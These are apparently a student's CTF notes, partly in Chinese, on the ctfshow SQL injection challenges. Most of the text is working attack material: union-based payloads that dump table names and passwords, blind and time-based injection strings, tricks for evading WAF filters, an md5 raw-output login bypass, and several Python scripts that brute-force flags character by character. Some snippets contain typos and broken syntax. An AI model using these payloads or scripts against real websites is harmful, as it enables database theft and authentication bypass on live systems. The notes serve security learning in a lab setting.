$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
1 or true %23
#
url编码1'order by 2 --+
//表
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
//列
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user2") --+
//数据
-1' union select 1,(select group_concat(password) from ctfshow_user2) %23
#别人的
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+
#返回条件限制
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
1' order by 3--+
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
//列
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user3") --+
//数据
-1' union select 1,(select group_concat(password) from ctfshow_user3) %23
#虽然说都有限制条件,但是没有用到,但还是看到如何使用base64()绕过.to_base64函数,对回显结果的绕过
1' union select to_base64(id),to_base64(username),to_base64(password) from ctfshow_user3--+
1' order by 2 --+
#联合查询和报错不行,盲注尝试
1' and ascii(substr(database(),1,1))>97 --+
import requests
url = 'http://7b57df9f-da32-4ee7-960f-6d62b538666d.challenge.ctf.show:8080/api/v4.php'
ans = ''
#dirt = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
for i in range(50):
#for j in dirt
for j in range(32,128):
#payload = f"?id=1' and ascii(substr(database(),{i},1))={j} --+"
#payload = f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j} --+"
#payload = f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name=\"ctfshow_user4\"),{i},1))={j} --+"
payload = f"?id=1' and ascii((select password from ctfshow_user4 where username=\"flag\"),{i},1))={j} --+"
resp = requests.get(url+payload)
if 'admin' in resp.text:
ans += chr(j)
print(ans)
break
1' order by 2 --+
1' and if(1=1,sleep(2),1) --+
import requsets
import time
1' or 1=1 --+
%23
==#
#str = "-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23"
#str = "-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'),3%23"
str = "-1' union select 1,(select group_concat(password) from ctfshow_user),3%23"
print(str.replace(' ','/**/'))
/**/
%0a
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ ()
,一些指标符,换行符等url编码和内联查询%0c
%23
,也就是过滤注释符。上网查一下 ‘1’='1尝试绕过。在最后拼接having '1'='1
-1'or%0cid=26%0chaving'1'='1
-1'or(id=26)and'1
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}
-1'or(id=26)and'1
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//返回逻辑
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//查询语句
tableName=(ctfshow_user)where(substr(pass,1,1))like"c"
import requests
url = 'http://729998b5-38c7-4365-885e-ec1f027374fb.challenge.ctf.show:8080/select-waf.php'
dirt = '0123456789abcdefghijklmnopqrstuvwxyz{}-'
flag = ''
for i in range(1,50):
for j in dirt:
data = {'tableName':'(ctfshow_user)where(substr(pass,%d,1))like"%s"'%(i,j)}
resp = requests.post(url=url,data=data)
if '$user_count = 1;' in resp.text:
flag += j;
print(flag)
break
//注意格式化字符串
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//过滤where
right join
盲注
tableName=ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,1,1)) like 0x63
import requests
url = 'http://ab7d9400-c6a3-493c-a9d2-c83120a5dfbc.challenge.ctf.show:8080/select-waf.php'
dirt = '0123456789abcdefghijklmnopqrstuvwxyz{}-'
flag = ''
for i in range(1,50):
for j in dirt:
data = {'tableName':'ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,{},1)) like {}'.format(i,hex(ord(j)))}
resp = requests.post(url=url,data=data)
if '$user_count = 43;' in resp.text:
flag += j;
print(flag)
break
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//过滤数字,没有过滤空格
#我们不生产脚本,我们只是脚本的搬运工
import requests
def numTrue(i):
num = 'true'
if i==1:
return 'true'
else:
num += '+true'*(i-1)
return num
url = 'http://1199b8d6-35bb-42fd-ba48-d30ff3000b6f.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow'
data = {}
for i in range(8, 46):
for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
k = ord(j)
data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{numTrue(i)},{numTrue(1)})regexp(char({numTrue(k)})))"
#不使用正则就使用修改过的
#data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on ascii((substr(x.pass,{numTrue(i)},{numTrue(1)})))like {numTrue(k)}"
res = requests.post(url, data=data)
if '$user_count = 43;' in res.text:
flag = flag + j
print(flag)
break
小小总结:
ord() 将ASCII码转化成对应数字,不用在使用range(32,128)
chr()将数字转化成对应ASCII码
regexp php正则。
char()在php中将数字转化成ASCII
ascii()转化ASCII码,like对等于替换
right/left join语句
Table_name.Column_name 可以查表内容 sql语句
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
//查询
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
//返回
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
md5($password,true)
的绕过。xxx' or true
的形式ffifdyop
结果:'or'6?]??!r,??b
闭合引号,成功查询
不止这一个,需要的话上网查询